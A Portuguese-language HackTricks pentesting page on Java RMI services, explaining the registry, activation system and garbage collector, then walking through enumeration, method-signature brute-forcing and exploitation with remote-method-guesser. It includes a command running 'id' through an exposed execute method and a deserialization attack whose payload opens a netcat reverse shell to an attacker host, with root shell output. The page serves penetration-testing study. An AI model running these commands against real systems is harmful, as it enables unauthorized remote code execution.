# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} ## Informações Básicas _A Invocação de Métodos Remotos Java_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t\_aw1mDNhzI?t=202). **Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` Geralmente, apenas os componentes padrão _Java RMI_ (o _RMI Registry_ e o _Activation System_) estão vinculados a portas comuns. Os _objetos remotos_ que implementam a aplicação _RMI_ real geralmente estão vinculados a portas aleatórias, como mostrado na saída acima. _o nmap_ às vezes tem problemas para identificar serviços _RMI_ protegidos por _SSL_. Se você encontrar um serviço ssl desconhecido em uma porta _RMI_ comum, deve investigar mais a fundo. ## Componentes RMI Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_ disponível na rede. Isso abre uma porta _TCP_ onde os clientes podem se conectar e chamar métodos no objeto correspondente. Apesar de parecer simples, existem vários desafios que o _Java RMI_ precisa resolver: 1. Para despachar uma chamada de método via _Java RMI_, os clientes precisam conhecer o endereço IP, a porta de escuta, a classe ou interface implementada e o `ObjID` do objeto alvo (o `ObjID` é um identificador único e aleatório que é criado quando o objeto é disponibilizado na rede. É necessário porque o _Java RMI_ permite que múltiplos objetos escutem na mesma porta _TCP_). 2. Clientes remotos podem alocar recursos no servidor invocando métodos no objeto exposto. A _máquina virtual Java_ precisa rastrear quais desses recursos ainda estão em uso e quais podem ser coletados como lixo. O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente. Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ perguntam ao _RMI registry_ pelo _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o correspondente _remote object_ está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados. Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_: 1. O _RMI Registry_ (`ObjID = 0`) 2. O _Activation System_ (`ObjID = 1`) 3. O _Distributed Garbage Collector_ (`ObjID = 2`) Os componentes padrão do _Java RMI_ têm sido vetores de ataque conhecidos há bastante tempo e múltiplas vulnerabilidades existem em versões desatualizadas do _Java_. Do ponto de vista de um atacante, esses componentes padrão são interessantes, porque implementam classes / interfaces conhecidas e é facilmente possível interagir com eles. Esta situação é diferente para _RMI services_ personalizados. Para chamar um método em um _remote object_, você precisa conhecer a assinatura do método correspondente com antecedência. Sem conhecer uma assinatura de método existente, não há como se comunicar com um _RMI service_. ## RMI Enumeration [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) é um scanner de vulnerabilidades _Java RMI_ que é capaz de identificar automaticamente vulnerabilidades comuns de _RMI_. Sempre que você identificar um _RMI endpoint_, deve tentar: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.dev/well-hidden-development-folder/ [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas. Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## Bruteforçando Métodos Remotos Mesmo quando nenhuma vulnerabilidade foi identificada durante a enumeração, os serviços _RMI_ disponíveis ainda podem expor funções perigosas. Além disso, apesar da comunicação _RMI_ com componentes padrão _RMI_ ser protegida por filtros de desserialização, ao se comunicar com serviços _RMI_ personalizados, esses filtros geralmente não estão em vigor. Conhecer assinaturas de métodos válidas em serviços _RMI_ é, portanto, valioso. Infelizmente, _Java RMI_ não suporta a enumeração de métodos em _objetos remotos_. Dito isso, é possível bruteforçar assinaturas de métodos com ferramentas como [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ou [rmiscout](https://github.com/BishopFox/rmiscout): ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` Métodos identificados podem ser chamados assim: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` Ou você pode realizar ataques de desserialização assim: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` Mais informações podem ser encontradas nestes artigos: * [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) * [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui. ## Known Interfaces [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca classes ou interfaces como `known` se elas estiverem listadas no banco de dados interno da ferramenta de serviços _RMI_ conhecidos. Nesses casos, você pode usar a ação `known` para obter mais informações sobre o serviço _RMI_ correspondente: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter ``` ## Shodan * `port:1099 java` ## Ferramentas * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://github.com/BishopFox/rmiscout) * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## Referências * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ## Comandos Automáticos HackTricks ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ```
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}